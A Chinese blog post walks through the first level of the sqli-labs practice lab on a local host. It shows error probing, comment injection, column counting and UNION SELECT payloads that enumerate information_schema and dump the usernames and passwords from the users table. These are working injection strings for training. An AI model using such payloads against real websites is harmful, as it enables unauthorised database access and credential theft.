sqli-labs-master第一关sql注入

文章参考了博客:https://blog.csdn.net/weixin_44932880/article/details/96589694
先了解一下数据库
先登录账户,输入密码
在这里插入图片描述
之后可以看到N个数据库
在这里插入图片描述
打开数据库可以看到N个表
在这里插入图片描述
每个表里还有N个字段
在这里插入图片描述除了用sql语句查看,当然也可以用MySQL等直接查看

开始步入正题

sql注入
url处先尝试着输入?id=1;
在这里插入图片描述再尝试?id=2;
在这里插入图片描述当尝试闭合url输入时
?id=1’
在这里插入图片描述报出如上错误,根据错误提示信息
the right syntax to use near ‘‘1’’ LIMIT 0,1’ at line 1
猜测后端可能是:where id‘用户输入’LIMIT 0,1
当用户直接输入*** ’时,造成了闭合
这时就需要url的注释符#(%23)来注释,有时#不能用,就要用到#的url编码%23
在与注释符#之间就可以进行sql注入,爆出我们想要的内容

又是硬核的知识:联合查询union
union后获取的内容条数与前面查询的列数必须相同
本题下一步就是获得回显个数
利用order by函数,及二分法快速测得列数为3
测列数硬核联合查询union来了
http://127.0.0.1/sqli-labs-master/Less-1/?id=0’ union select 1,2,database();%23

id=0则返回空,后面就返回select 1,2,database()的内容,即为1,2,security

security即为database()的返回就是指当前数据库的名字

可题目只显示了2,security 可知只有2与3两个回显位能看到
在这里插入图片描述

已经知道了当前的数据库名,接下来就是要爆出表名

接下来我们就可以利用information_Schema.tables获取security里的表格信息

127.0.0.1/sqli-labs-master/Less-1/?id=0’ union select 1 ,2,group_concat(table_name) from information_Schema.tables where table_schema=‘security’;%23

这个group_concat()函数使表名按一行输出输出

接下来当然是字段了
http://127.0.0.1/sqli-labs-master/Less-1/?id=0’ union select 1,2 ,group_concat(column_name) from information_schema.columns %23
在这里插入图片描述这时细心一下的话,其实可以发现,这样会查出所有的字段,这样就会有很多无用的信息
可以用:
where%20table_name=%27users%27and%20table_schema%20=‘security’;
这样来达到精准的查询
完整的url为:
http://127.0.0.1/sqli-labs-master/Less-1/?id=0’ union select 1,2 ,group_concat(column_name) from information_schema.columns

where%20table_name=%27users%27and%20table_schema%20=‘security’;%23
在这里插入图片描述这是我们有了 用户名和密码的字段

是时候爆出我们想要的数据了:

http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,group_concat(username) ,group_concat(password) from users ;%23

在这里插入图片描述
至此任务完成

再次感谢这位同学的帮助

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值